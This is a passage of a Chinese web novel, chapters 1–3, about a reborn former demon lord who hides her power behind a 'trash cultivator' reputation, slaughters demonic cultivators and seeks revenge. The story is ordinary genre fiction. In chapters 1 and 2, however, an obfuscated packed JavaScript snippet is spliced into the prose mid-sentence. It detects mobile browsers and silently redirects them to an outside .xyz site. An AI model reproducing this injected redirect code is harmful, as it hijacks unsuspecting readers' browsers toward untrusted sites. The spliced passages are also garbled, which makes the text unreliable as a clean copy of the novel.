《重生后死对头成了我师尊》 1. 第 1 章 沧山派,武宵峰下,仙气缭绕,青山如翠,花影重叠。 浩荡花海中,一个白衣女子以剑作枕,以天为被,慵懒地躺在花堆里,睡得很香甜。她乌发散乱,容颜清俊,只是脸色有些病态的苍白。 一把剑插入女子身侧的草堆,溅起飞舞的草屑,一个恶狠狠的大嗓门打破了静谧的氛围:“凌七!起来!谁让你填的报名?分明是想坑我们!” 被唤做凌七的女子迟缓地揉了揉眼睛,缓缓睁开眼,那是一双清凌凌的眼睛,黑白分明,澄澈干净。 她嗓音有些睡醒后的沙哑,茫然反应了片刻,问道:“什么……哦,我不可以填吗?” 来人是一群气势汹汹的仙修,为首的人看着她这幅若无其事的样子就来气,指着她的鼻子崩溃道: “谁不知道你是废物!你百岁有余,修为还在炼气期,我从没见过这么差的仙修!这次仙选大会关系到我们的前途,我们已经垫底了七届,加了你只会给我们冲倒数第二拖后腿,你快退了!” 半梦半醒中,凌七终于听明白了,这是嫌她太菜了的意思。 都已经垫底了七届,她退不退没有什么影响啊,最差也只是正常发挥。 她看着他们的目光顿时有点同情,真诚道:“对不起,你们运气确实不太好。” “对不起有什么用,你退考啊?!” “是这样的,”凌七微笑道,“如果退考,我就不会说对不起了。” “你!” 看来通过羞辱凌七来唤醒她的自知之明是没用的,那人气结,急得顾不上其他,对身侧的人道:“去叫大师兄,我就不信大师兄让她退她也不退。” 凌七,或者说是季灵泽,对他们的反应不置可否,她懒洋洋歪在花丛里,被太阳晒得重新眯起眼睛,缓缓打了个哈欠。 今天,是她重生第一百年的开始。 这百年来,她十分刻苦地睡觉,成功取得了炼气初期的优良成绩,打破了历代以来修士的最慢修炼速度,荣获“修真界第一废材”的雅号。 当然,她曾经也有过辉煌。 上一世季灵泽十三岁就炼气,百岁已入元婴,是有史以来最年轻的元婴修士,也是全师门乃至全修真界的希望。 她现在这幅样子,任谁也不会把她和那个惊才绝艳的少年联系在一起。 当然,也不会把她和后来那个欺师灭祖、人人得而诛之的大魔头联系在一起。 非常安全。 也非常讽刺。 大师兄华漠正在紧锣密鼓地准备仙选大会,闻言急匆匆御剑赶来。 他一袭青衫,温润如玉,是师门里公认的好说话。 方才还气焰嚣张的几人见了他,语气立马礼貌了不少: “大师兄,你敢相信吗,凌七居然报了仙选大会!她修为低微,若是她参加,我们门派就完蛋了!你能不能让她退了?” 华漠一怔,望向仰躺在地上的凌七。 白衣女子也正好看向他,她叼着一根草叶,浑身都泡在春日暖洋洋的阳光里,四仰八叉,目光倦怠,浑然没个正形。 他沉默片刻,记起这个师妹刚来宗门的样子。 当时她不知经历了什么,昏迷不醒,穿得破破烂烂的,浑然是一个穷光蛋形象。掌门喂她吃了丹药,救下一条命,从此掌门便隐退了,放她在门派中自生自灭。 凌七醒来后,生活目标只有吃和睡,成功把掌门种在山底的花都睡塌了一片。 华漠脑补出了一个贫穷孤女被人追杀侥幸获救,从此一蹶不振的故事。 师妹是个可怜人。 想到此,他忍不住动了恻隐之心,语气和缓地问道:“小师妹真的决定参加?仙选大会险象环生,并不容易。” 季灵泽伸了个懒腰,点点头:“嗯。” 她一点也不害怕吗?炼气期进了险象环生的仙选大会,和羊入虎口也没什么区别。 无知者无畏啊。 华漠叹息了一声,但这毕竟是师妹自己的主意,他并不好再说什么,只得宽慰道:“罢了,上场后有我与你师姐顶着,你若是打不过便退出,我们不会怪你。” “师兄真的要让她参加?可是……” 那些人还要说话,对上华漠的眼神,又有点儿怂了。 华漠师兄好脾气,可他有事一定会告诉凤潇潇师姐……算了算了,还是不要闹到凤潇潇师姐那儿去了。 见其余人突然闭嘴不说话,华漠只当是他们想开了,欣慰一笑,转身对季灵泽道:“你随我去一趟武霄峰,与凤潇潇说一声。” 季灵泽撑着膝盖站起来,掸去衣角上的花瓣,努力睁开困倦的眼睛,跟上华漠的步伐。 她重生后,光是上辈子遗留在心脉上的伤就够她受的了,所以成天不是补心脉就是睡觉,消息十分闭塞。 这两日感觉宗门之中气氛紧绷,总有人聚在一起热火朝天地讨论什么,连正在树上睡觉的她都被打扰,不得不挪地方,挪之前,她听见了一个熟悉的名字。 因为这个名字,季灵泽报名参加了仙选大会。 报完名,她继续休养生息,早把这茬忘了,到了此刻,她才意识到自己对这个仙选大会两眼一抹黑,于是问道:“师兄,仙选大会是干什么的?” 有那么一瞬间,华漠怀疑自己幻听了。 他一种震惊、无奈、呆滞的复杂目光看了她一会儿,忍不住失笑:“你连仙选大会是做什么的都不知道就报名?” 季灵泽点点头,特别诚恳:“嗯。” 难怪她一个炼气期的敢报名。 华漠扶额道:“仙选大会提供给两百岁以下的修仙者一个历练的机会,分为三个考场,分别是斗兽、百毒与心魔,在这三个考场中表现最优异的队伍会得到几个尊者和四大门派的奖赏,如果被尊者看中,还可以自行选择是否要拜入尊者门下。” 季灵泽脚步一顿,疑惑问道:“什么尊者?” 这个问题当头劈下,华漠停下了步子,他看着一脸清澈、没有被知识污染过的师妹,真心实意地佩服她。 人人都道这个师妹朽木不可雕,眼下看来…… 根本没长出来过木头,对着空气怎么雕? 华漠盯着她清澈的脸看了半晌,认命了,还是耐心解释道: “修仙界强者为尊,各个尊者都是已经分神期的大能们,他们脱离家族,自立门户。为首的云步仙尊已达分神后期,玄天真人、扶摇真人与梅霜仙子都是分神前期,玄豹散人是出窍大圆满,离分神一步之遥。” 一堆陌生雅号砸下来,听得季灵泽再度犯困,打了个悠长的哈欠。 这些名字都很有名的样子,她不知道有点说不过去,还是不问了。 华漠扭头看她:“怎么了?” 季灵泽摇摇头:“没什么,有点困。” 华漠看了她眼下的黑眼圈一眼,深深叹了口气。 说话间,两人已经来到了演武场,这里的修士明显训练有素得多,十几个人整齐有序地排成一个阵法,各个挺直了腰背,动作整齐,精神高度紧张。 他们见了华漠像是见到了什么救星,微不可查地松了口气,纷纷停下手里的动作,喜滋滋地喊道:“大师兄!” 半空中传来鞭子破空的响声,修士们浑身一抖,纷纷再次屏息凝神,大气也不敢出。 一个女子拨开众人而出,一身红衣,高挑强健,目光凌厉,像一团燃烧的火,远远就能看见噼里啪啦的火星子。 她走了过来,上下扫了一眼季灵泽,偏头问华漠道:“她也报名了?” 华漠点点头,很平淡地说:“是。” 周围的修士纷纷骚动起来,碍于凤潇潇,他们没敢发出声音,只互相交换了一个眼神。 出乎意料,红衣女子没有多说什么:“既然报了,就好好准备,修行有什么不明白的,问我或者问你师兄都可以。” 啊?这就同意带上这个拖油瓶了? 一众修士一下子垂头丧气,仿佛听见了倒数第二梦想破灭的声音。 可凤潇潇是宗门中最有希望冲击金丹大圆满的修士,也是掌门钦点的首座大弟子,她都同意了,其他人心里再犯嘀咕,也没什么话可说。 “好。”季灵泽点点头,而后向大家笑了笑,同众人打过了招呼。 嘶,刚睡醒不久,心脉就开始隐隐约约地疼,到了该补心脉的时辰,得回去休息了。 压下那些不适,季灵泽努力让自己面色如常,她背上自己的剑,朝着凤潇潇颔首:“师姐,我自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362812|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修炼去了。” 听见这话,又联想到季灵泽响亮的名声,凤潇潇皱了眉,直白地道:“仙选大会在即,我无论你资质如何,必须刻苦修炼,若是让我发现你自己修炼只是一味躲懒……” 她手中的凤尾鞭冒出一团火来:“休怪我不客气。” 季灵泽笑着拱拱手:“若是发现我躲懒,我就替师姐试鞭子。” “哼。”风潇潇气笑了,她不欲同她啰嗦,将火收了,朝季灵泽一扬下巴,“那还不滚去修炼。” 季灵泽立马从善如流地御剑跑了,速度快得把半空中的云撞成了碎片,看得身后一群人目瞪口呆。 等季灵泽走远了,几个弟子再也按捺不住,小声议论道: “她疯了?!这我们还怎么拿倒数第二啊?” “你们说,她都一百岁了才炼气,要是上了考场,那不是丢我们沧山派的脸吗?” “她百岁炼气的名声已经传出门派了,沧山派的脸早丢光了。” …… “闭嘴。你们不好好修炼也是在丢沧山派的脸!”凤潇潇出言打断了他们的窃窃私语,面色不虞,“我看你们很闲,要不要加练?” 凤潇潇脾气爆,见她不高兴了,仙修们顿时安静得像鹌鹑。 这些围绕着她的风言风语,季灵泽听见了,并没有在意。 因为她痛得快死了。 苍白瘦削的手紧紧按在心口处,她额头上滚下大颗大颗的冷汗,刚一落地,便再也维持不住,狼狈地呕出一口血来。 她重生后的这具身体看似与上一世毫无关联,却继承了上一世被人所害后,支离破碎的心脉。 季灵泽额头上青筋暴起,掐着自己的虎口缓解疼痛,用力太深,虎口渗出了一道血印。 她操纵全身上下的灵力朝着心脉的缺口处涌去,像操纵着千万根针线扎进去,强行将被撕裂的地方缝补起来。 手控制不住地颤抖,每一次颤抖的后果便是灵力扎歪,引来更汹涌的撕裂疼痛。 两个时辰过去,季灵泽深深呼出一口气,彻底卸了力气,让自己摔倒在柔软的花丛里。 郁泊舟,她不会忘记这个名字。 就像她不会忘记,这一刻的疼痛。 昏睡了一天一夜后,她决定去百魔域练练手。 她对仙选大会本身没什么感觉,但既然那个人会来,她便不想错过这个机会。 百魔域,顾名思义,这里是低阶魔修的大本营。 魔修修炼起来比仙修快了几倍,他们使用的功法极易影响心性,几乎每一个魔修都会走上杀人的不归路,成为不折不扣的亡命之徒,如果杀死的仙修灵力与自己相通,他们还能篡取灵力,壮大自身。 而百魔域里的魔修,手中多多少少都沾过几条人命。 季灵泽御剑翻过最后一座仙山,远远看见了百魔域的轮廓。 百魔域荒草丛生,每一寸土地都被血浸透,呈现出焦褐色。走几步便会看见曝尸荒野的白骨,风吹到这里,声音仿若哀号。 季灵泽沉静地御剑,白衣胜雪,衣诀翻飞,在一片浓墨般的漆黑夜色中格外明显,有意让自己变成了个活靶子,来吸引魔修们的注意。 很快便有一群魔修发现了她,均是筑基前期的魔修,他们起初如同见到猎物一般兴奋,可不知是谁道了一声:“这好像是那个才炼气期的废物!” 众人纷纷露出了失望的表情,兴趣全失。 再次遭到鄙视的季灵泽:“……” 到底是谁把她的名声传去了魔修那儿? 季灵泽御剑飞到他们前方,停下,很有礼貌地邀请道:“你们好,打架吗?” 魔修一行人陷入了诡异的沉默。 这人怕不是吃错药了来寻死。 “谁去解决了她?”一个赤发魔修兴致缺缺地问。 “我去活动活动筋骨,虽然废物,但长得挺俊,和她玩玩吧。”一旁的紫眼睛魔修把铁锤一甩,朝他的兄弟挤挤眼,露出一个淫邪的笑容,胸有成竹地朝着她飞去。 听到这句话,季灵泽表情平和,看不出喜怒,她御剑缓缓落地,抬眼扫过他们,提出了一个很有建设性的意见: “一个一个打太麻烦了,我赶时间,你们一起上吧。” 2. 第 2 章 这句话入耳,众魔修的神情瞬间变了。 猖狂,太猖狂了! 他们好歹也是筑基的魔修,手上人命攒了不少,何时被一个炼气期的仙修这样嘲讽过! 赤发魔修瞬间勃然大怒,喝道:“今天就让你见识见识老子的厉害!” 他与紫眼魔修一左一右向她夹击而来,快若流星,季灵泽面不改色,御剑飞掠而起,以更快的速度躲过了他们的攻击。 与他们擦肩而过时,她抬手结印,半空中瞬间炸开一朵白光,赤发魔修来不及躲闪,只闻到了一股焦味,他大叫一声,捂住自己的头,半边头发顿时被烧成了霹雳小卷毛。 “你……”魔修震惊地抬头看她。 “不用谢我。”半空中,白衣女子含笑打断他的话,从容抬手。 还未等众人反应过来,只见一道道燃烧的白焰直直朝着几个魔修射去,将黑暗的夜空照得如白昼般透亮。 几个魔修纷纷躲闪,稍晚一步,火焰便如同蛇一般爬上他们的衣服,烧得他们痛叫出声。 季灵泽低头看着自己的手,不着痕迹地轻皱了一下眉。 太弱了。 耗费了这么多灵力,居然没有杀死一个人。 “不可能!炼气期怎么会有这种速度!”赤发魔修被白光逼得躲闪几次,才保住自己剩下的头发,他惊诧地看着季灵泽,声音都在发抖。 季灵泽笑了笑,没有说话,默默拔出自己的剑。 那是最普通的佩剑,上面还有个豁口,可被她提在手中,莫名有了名剑的锋芒。 恰在此时,耳畔风声一紧,身后传来极细微的响动,不知何时,紫眼魔修悄无声息地窜到她背后,从她背后抬起手中重锤,以迅雷不及掩耳之速狠狠砸下! 眼看着就要砸中她,魔修却突然眼睛一花,重锤砸下,只砸中一片枯叶,枯叶碎成粉末,锤子深深没入地底。 他瞪大眼睛心道不妙,可是已经晚了。 紫眼魔修猛然呕出一口鲜血,长剑熟练地穿心而过,以一个刁钻的角度刺穿了他的心脏。 女子干脆利索地拔剑,看着他的尸体轰然倒下,眼中带着几分漠然:“你有几条命,和我玩玩?” “幻影身!”有人不可置信地大叫起来,“不可能!她怎么可能会?!” 幻影身对施法者的反应能力要求极高,只有金丹以上的修士才会学到,需要在瞬息之间摘取物件变为替身。 季灵泽将紫眼魔修的尸体用剑拨到一边,抬眼看向说话的人。 她懒散倚剑,眉宇间尚且带着一丝倦色,但一众魔修瞬间变色,纷纷列阵以待。 没有人会再看不起她,这个神秘莫测的白衣女子,顷刻间就杀死了一个筑基期的魔修,她的实力毋庸置疑。 魔修们乱了一小会儿,着急忙慌地开始列阵。 赤发魔修站在阵眼中心,闭眼口中念念有词,黑气如同千万条小蛇从四面八方的魔修体内涌出,结成一条巨蟒,盘旋在赤发魔修身后。 下一刻,他睁开眼,眼中放出红光,怒喝一声! 巨蟒受到召唤,立刻向着季灵泽冲去,它张开血盆大口,白森森的牙齿反射着锋利冷光,一口下去便能咬碎人的颅骨。 季灵泽在巨蟒张口的一刹那借力跃起,不但没躲,还直直冲入了那条巨蟒的口中,剑身卡住了巨蟒的上下颚,迫使巨蟒不得不保持着张嘴的姿势,獠牙离季灵泽的脸只有几寸远,却伤不到她分毫。 而她握着剑柄,向上一戳,直接捅穿了巨蟒的上颚! 巨蟒吃痛长嘶,季灵泽趁机顺着它的喉咙滑下,消失在巨蟒体内。 魔修们全愣住了,不知道她是闹哪一出,下一秒,只见半空中,覆盖在巨蟒身体上浓郁的黑气里,有一道道剑光破暗而出! 起初黑色巨蟒还能勉强压制剑光,可随着剑光速度越来越快,巨蟒昂头嘶叫一声,忽然被切割成碎块,碎块在空中化成万千小蛇,慌不择路地想要游回一众魔修体内。 季灵泽哪里会让它们如愿,那把豁了口的破剑浮在半空中,她伸出手,剑慢慢落在她手里,只见她一只手抚摸剑身,另一只手将灵力灌进剑中,屏息凝神,将剑向前一推。 那把破剑承受不住过载的灵力,瞬间裂成漫天碎片,每一片碎片都直直刺入小蛇体内,碎片到处如同风卷残云,黑气消散一空! 整个过程太快,魔修们还没有反应过来,便感受到丹田处一阵剧痛,纷纷口吐鲜血半跪在地上。 在极度熟练的技巧、千百次的战斗经验面前,筑基对炼气的等级压制只是空谈。 反观季灵泽,依旧是那副气定神闲的模样,连雪白的衣角都没有沾上灰尘,她居高临下地看过来,目光依然平静淡漠,可这一次,魔修们纷纷低下头,没有人敢与她对视。 他们此刻心里都盘旋着一个巨大的疑问:炼气期?这也叫炼气期? 那他们是什么?连炼气期都打不过的废物吗? 表面上平静的季灵泽,心里也在滴血。 她真的很穷,这把佩剑虽然缺了一角品质还差,却是她唯一一把佩剑。 想到这里,她看着这些魔修的目光渐渐有些不善,魔修们只感到背后一股寒意涌起,忍不住抬头—— 季灵泽垂目望向他们,唇角微动,懊恼地喃喃了一句:“人怎么能穷成这样。” 那是令他们毕生难忘的一句话,因为话音刚落,魔修们就眼睁睁看见眼前的女子身影一晃,抬手摘下数片叶子,往空中一抛。 叶子落地,变作一群神情肃杀的傀儡,个个都与这女子长得一模一样,不同的是,她们神情呆滞,没有灵力。只会杀戮,疯狂地朝他们扑来。 魔修们一下子呆住了,如坠冰窟,这……这分明是元婴期的功法:召杀将! 这远近闻名的废物居然是元婴期么? 然而他们已经来不及思考了。 傀儡们速度极快,令人难以看清,这帮东西是季灵泽分出的一抹神魂所化,不知疼痛,也因此更难以战胜。 傀儡过处如蝗虫过境,杀得那些魔修毫无还手之力,不多时便全部倒在血泊里,浑身的骨头都被折断,渐渐没了气息。 季灵泽始终站在不远处,冷眼看着惨叫声渐弱,这一场杀戮,结束了。 半个时辰后,场中已经没有一个活着的魔修,季灵泽收掌落地,十余个傀儡全部化作荧光渗入她掌心,她脸色比方才更苍白了,微微有些气喘,低头看了一眼自己的手,手心里居然渗出了一丝血迹。 这具仅仅只有炼气期的身体太弱了,居然这么不经打,只是尝试了一下越级使用功法,身体几度承受不住。 看来她得收着点了,重来一世,要是还没复仇就把自己作没了,未免太凄惨了点。 她心内叹气,一拂衣角,干脆在成堆的尸体边就地打坐调息起来。 这一打坐就入了定,无数灵气从四面八方拢来,绕着她盘旋飞动,进入她的内丹。一时间天地人合一,物我两忘。 季灵泽再次睁开眼,是被一个声音吵的。 “这些魔修,都是你一人所杀?” 她睁开眼,看清了眼前的人。那是个少年仙修,看起来很年轻,眉眼生得精致,一身华服,手中虚虚握着一柄折扇,“唰”一打开,一行大字赫然在目: “洛啸天还钱!” 季灵泽:“……” 她盯着那把扇子,扇骨由墨玉制成,扇面是天香丝,这样的扇子可以买一百把破剑,这是个有钱人,可以宰一笔。 想到这里,她拍了拍身上的尘土,站起身来,靠近他后,她眉梢微微抬动,不由得多看了他一眼。 少年看着不显山不露水,竟然已经是个金丹大圆满的修士,他比她还要惊讶,长大了嘴道:“你才炼气期?” 这已经是季灵泽两天内不知道第多少次听见这句话了,有点儿想笑,于是她翘起嘴角,点点头。 “那这些魔修是谁杀的?”少年突然来了兴趣,他就自顾自蹲下翻看那些尸体,还不等季灵泽开口,喋喋不休地说起来。 “这些尸体身上的伤口时间差不多,定是被一群仙修所杀,他们死前曾经遭受过极大的心脉冲击,口吐鲜血。杀他们的修士定已经到了金丹期或者即将金丹期,能同时拥有十来个金丹期弟子,想必是四大门派的人。这群魔修不长眼睛杀了四大门派的人,被寻仇了。” 叽里咕噜说什么呢,困了。 季灵泽打了个悠长的哈欠。 少年抬起头,眼睛亮晶晶,期待地看着季灵泽:“我说的对吗?” 季灵泽沉默了许久,道:“其实……是我杀的。” 少年突然卡了壳。 他难以置信极了。反复上下看了她好几遍,睁大了眼睛:“啊?你吗?怎么杀的?” 季灵泽顿了顿,见少年衣着华美,果断道:“五百灵石。” 少年:“???” 季灵泽重复道:“想知道,付我五百灵石。” 少年用扇子疯狂扇了扇自己,强迫自己冷静下来:“你穷疯了啊?” 季灵泽一摊手,笑盈盈地道:“没办法,我一个小地方的散修,真的很穷啊。你是万象宗的大人物,不会付不起五百灵石的吧?” 少年撇撇嘴:“休想用这一套激我……” 他说到一半突然卡住,狐疑地问:“不对,我今日出门没带令牌,你怎么知道我是万象宗的?” 季灵泽眨眨眼:“先付钱再回答。” 少年指着她半晌没能说出话,岂有此理,太荒谬了,人怎么能这么不要脸? 季灵泽本人倒是很淡然,她安静等待了一会儿,听见少年咬牙切齿地道:“好,给你便是。只是你若是说一些颠三倒四的话来骗我,我就……就把你印在扇子上天天给人看!” 季灵泽一挑眉,爽快道:“我们做生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362813|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意的主要讲究一个诚信,放心,我绝不诓你。” 少年还留了一个心眼儿,先付给她两百灵石,尾款等她讲完再付。 收了钱,季灵泽也不墨迹,复述了一遍杀死魔修的经过,只在最后隐去了她用魔修功法的片段,换了个其他说法。 她说得一本正经,十分唬人,少年听得入迷,不由得与她探讨起来;“若是不采用幻影身,你有几成胜算?” 季灵泽不假思索:“九成。” “哦?”少年微微扬起眉毛,“怎么做到的?” 季灵泽道:“这群人采用阵法对付我,阵眼是那个赤发魔修,我不与巨蟒缠斗,一边躲避巨蟒一遍杀了他便可。” 少年质疑道:“你的速度有这么快吗?” 季灵泽露出狡黠的微笑:“想看吗?再加五百灵石。” 少年都习惯了她这一套,正好也想试一试她的实力,这一次掏钱很爽快:“好。 给钱就是大爷,季灵泽把钱放进兜里,当即纵身一跃,借着地势飞速移动,快若闪电,几个腾挪间便移出去百米。 少年一眨眼的功夫,她又如同鬼魅一般出现在他身后,也不客气,伸手掏他肩膀上的钱袋。 “好快!” 少年反应也很快,几乎不用思索便向左闪去,钱袋擦着她的指尖,堪堪躲过她的手。 他看她的目光全然变了,赞叹道:“你怎么会这么快,是修习了什么特殊功法吗?” 季灵泽笑了笑,她道:“你多打几次也能练出来。” 剩下的灵石少年心甘情愿地给了她,还多添了两百灵石,出乎他意料,季灵泽并没有收。 她将灵石塞进储物袋,仔细放进宽袖之中,挑出一部分没碰,推了过去,慢慢道:“我只收之前谈好的那部分。” 少年一愣,贪财好利者他见过很多,但贪财的同时懂得适可而止的却少。 他看她的目光不由变了变,默默收起灵石,笑眯眯地凑上去道:“我叫郁观,仙选大会上若是遇到了,也算一场缘分。” 姓郁?郁家人? 季灵泽脸上的笑容淡了淡,眸中泛过一丝冷光,她安静片刻,不经意地问:“……你认识郁泊舟吗?” 少年对他直呼郁泊舟大名的行为很不满,将扇子一收,皱眉道:“你怎么能直呼我小叔名字?” 原来是叔侄。 季灵泽笑而不语,少年以为她是不知道,当即来了劲,兴致勃勃地道: “我小叔是当今修仙界分神后期第一人,除了几百年前的魔尊,谁达到过分神后期?而我小叔甚至还杀了她,那可是魔尊!对了你应该知道魔尊的吧?她……” 提起他小叔,他好像有无限的话要说,脸上溢满了崇拜之情。 季灵泽似笑非笑地看着他,意有所指:“我知道,她很强。” 少年沉默了一会儿,攥紧了扇子,眼睛里浮现出憧憬和失落:“是啊,他很强……只是自从他与郁家两断后,我再也没有见过他。” 季灵泽没料到从前那个最循规蹈矩的人居然有一天会和郁家闹掰,不由得微挑眉,问道:“为什么?” “……说来话长。”郁观脸色复杂,停住话头,看了一眼天色,御剑飞到半空中,“以后见。” “等等。” 郁观转头看着她:“怎么了?” 季灵泽一摊手,厚着脸皮道:“我的剑坏了,回不了,你能不能和我拼一下剑?” 什么玩意儿?拼剑?剑还能拼? 郁观脸都木了:“这怎么拼……” 不拒绝就是同意。季灵泽很懂得顺杆爬的道理,立刻跳上他的剑。 他们特别小心地挤在一把剑上,猫着腰狼狈地低空飞行,速度稍微一快都有掉下去的风险,毫无御剑的仙人风姿,看起来像被串起来的两只鹌鹑。 郁观用扇子挡住半边脸,生怕遇到熟人,他的声音闷闷地传来:“我还没问你叫什么名字。” “凌七。” “好,凌……等等,凌七?!”郁观一下子回过头来,表情好像见了鬼。 季灵泽一看到他这表情就知道他要说什么。 “你不是……咳,传说中修为很低、毫无天资吗?” 他犹豫了一下,没有把“废材”两个字说出来,给她留了一点面子。 季灵泽眼都不眨地胡扯道:“前几日在梦中得高人点化,自此以后虽然境界很低,但使用灵力却得心应手,因此来这里练习。” 郁观半信半疑地盯着她的脸看了一会儿,见凌七神色坦然,在他郁观如此锐利的目光下都面不改色,看不出什么破绽,不由信了几分。 “高人,我也想被点化一下,”郁观双手合十,虔诚地喃喃了一句,而后把一块花纹精致的玉石塞进她手里,“留音石,可以和我联系。下次来这里,叫我一起啊。” 季灵泽接过留音石,爽快答应了:“好说。” 3. 第 3 章 此后的十天,季灵泽每日过着白天打坐调息,晚上去百魔域挑魔修下手的日子。 早出晚归,朝九晚十,十分规律。 为了攒钱给自己重买一把剑,她接了一些与魔修有血仇的宗门暗杀某个低阶魔修的任务,赚取灵石,实战让她的境界隐隐有了提高的趋势。 她这里日子过得充实美好,百魔域的魔修却日日提心吊胆。 “你听说了吗?最近有个白衣仙修日日来我们这儿挑衅!” “我当然听说了,她是个变态,最喜欢偷袭!” “操,不要脸,把我们当仙修宰?她是魔修还是我们是魔修?” …… 十天后,季灵泽已经在百魔域出了名,每个经常活动在此地的魔修都知道有一个穿白衣的变态炼气期仙修专挑他们下手,一向只有魔修主动找仙修麻烦,这还是第一次被麻烦找上门。 百魔域中的魔修都怒了,这个仇必须报!他们要捍卫魔修的尊严! 一时间,整个百魔域,无论是筑基期还是金丹期的魔修都同时联起手来,甚至还找来了一个金丹大圆满的魔修,他们决定在这一晚一同杀死这个变态白衣人,一雪前耻! 季灵泽对此毫不知情,她正在数自己兜里的灵石,算上在郁观那里赚的,她现在已经攒了三千灵石。 一把最便宜的剑也要四千多灵石。 季灵泽深深叹了口气。 “穷”这个字,贯穿了她两辈子。 一走进剑行中,她的目光便一眨不眨地粘在了陈列着的各把佩剑上,目光之深情,像是饿死鬼看见了满汉全席。 掌柜见这女子颀长挺拔,一袭白衣一尘不染,以为她是哪个大门派的,当即热情地迎了上来:“姑娘要什么款式的佩剑?” 季灵泽低头看了一眼自己干瘪的储物袋,轻咳一声,摸了一下鼻子,道:“你们这里,有没有三千左右,品质比较过得去的佩剑?” 掌柜愣住了。 掌柜脸上的笑容凝结了。 掌柜的仔仔细细端详了一下这个修仙者,发现自己确实是看走眼了。 她身上的衣服虽然洗得干净,但是已经起了毛边。而且浑身上下一件首饰都没有,墨色长发用一根半旧的发带松松一绑,十分不讲究地披散在背后。 都怪这人看起来太坦然,一进来就盯着那些昂贵的佩剑,才导致他错认她是个有钱的大门派仙修。 掌柜的还在朝着她微笑,但眼睛里已经分明绝望地写着几个字:完蛋了,是穷鬼。 季灵泽选择性忽略了他的目光,把空荡荡的储物袋拿出来展示了一下,诚恳地盯着掌柜:“有吗?我真没钱。” “……我找找。”掌柜一脸木然地抽出一个破破烂烂的箱子,一打开,里面全是废铜烂铁,他挑挑捡捡半天,从这一堆成分复杂的废铜烂铁中挑出了一把只剩下半段的剑。 掌柜的将这半段的剑递给她,笑容很客气:“三千五的佩剑确实没有,这把剑虽然只剩下半截,但勉强能用,这样,你看卖你两千如何?” 季灵泽接过那把剑,翻来覆去看了几眼,还熟练地抬手弹了弹,弹得剑身锵然作响。 她斩钉截铁道:“一把普通低阶佩剑四千多,这把剑是二手的,使用痕迹明显,转手卖大约三千左右,现在它还断了一截,一千五,不能再多了。” 这也要砍? 掌柜长叹一口气,委婉道:“……算了算了,一千五就一千五吧。不是姑娘,你都穷成这样了,这个仙是非修不可吗?还是赚钱活下去更重要吧?” 季灵泽面色坦然,也跟着长叹一口气,一本正经地道:“没办法,掌柜的,我是我们村里第一个修仙者。我们全村人一起把我培养大,我不能辜负他们的期望。” 掌柜的一时间愣住了,他挠挠头,低声感叹:“修仙百年,村民还能活着见到你成名吗?” 季灵泽:“……有个念想也是好的。” 这番话勾起了掌柜百年前的一些故土情思,他不由得有点感慨,修仙者都是从凡人修炼而来,尘缘虽断,旧忆难忘。 掌柜犹豫了一下,从那堆废铜烂铁里又翻出一个半截的剑鞘来塞给她:“拿去,送你了,好好加油,村民们九泉之下也会为你骄傲的。” “好嘞。”季灵泽爽快应了。 她拿过那截断剑和剑鞘,正好能严丝合缝地匹配上,这个价格能买到这样的剑,她很满意。 买完剑,兜里的留音石忽然震动起来,季灵泽拿出留音石,只听对面的人兴奋问道:“今晚子时,百魔域,来不来?” 刚拥有一把新剑的季灵泽心情很好,她有心要去试一试这把新剑,于是很爽快地答应了:“好。” 子时,百魔域外。 郁观看着以金鸡独立的风姿,站在一把只有一半的断剑上的季灵泽,猛地搓了一把自己的脸。 他颤巍巍问道:“你在干嘛?练习平衡吗?” “御剑啊,”季灵泽从剑上一跃而下,她将断剑收在手上,给他全方面展示了一下,“新买的剑,只要一千五灵石,你觉得怎么样?” 郁观并没有被这种热情感染,诚实道:“不怎么样,一把烂铁。” 季灵泽竖起一根手指摇了摇:“你们这些世家子弟,就是不当家不知柴米贵,断剑怎么了?断剑也能用。我还给它取了一个名字,叫招财,好听吗?” 郁观拿着这把破剑的手一抖,差点把剑掉下来,他先是一愣,然后弯腰笑了起码十分钟才说出话,眼泪都笑出来了:“哈哈哈哈哈哈哈哈,你到时候和人对阵,难道要朝别人喊‘招财招财,恭喜发财’?” 季灵泽想象了一下那个画面,还有点儿跃跃欲试:“也不是不行。” 多么动听的祝福。 那是她毕生的梦想。 郁观用他的扇子轻轻点了一下招财的剑柄,憋笑道:“好,好,真是好名字。” 他转身朝百魔域走去,走了一段路以后又回头大笑道:“你下一把剑叫进宝怎么样?” 季灵泽眼睛一亮:“好啊。” 郁观:“……我只是想嘲讽你,没有真的让你叫进宝的意思。” 他们说说笑笑地进去,然而一脚踏入百魔窟,迎面就见一群紧张的魔修。 还不等他们反应,那群魔修就如临大敌地自动往后撤,一边跑一边拿出传音石,大吼道:“那个变态出现了!” 季灵泽:“?” 郁观顺着他们的目光看去:“变态?你吗?” 季灵泽停顿了一下:“貌似。” 郁观目瞪口呆,他纳闷道:“你这两天都干什么了?把他们吓成这样?” 季灵泽觉得自己很无辜:“没干什么,接了几个门派的单子,来这里杀了一点点魔修。” 郁观:“……” 杀了一点点能把人吓成这样? 他还没来得及吐槽,脸色就变了,用手指着远处冲向这里铺天盖地的滚滚黑气,叫道:“那是什么……我靠是一群魔修!一大群!这里所有的魔修都来了吧?!” 他豁然扭头看着季灵泽:“你这叫没干什么?” 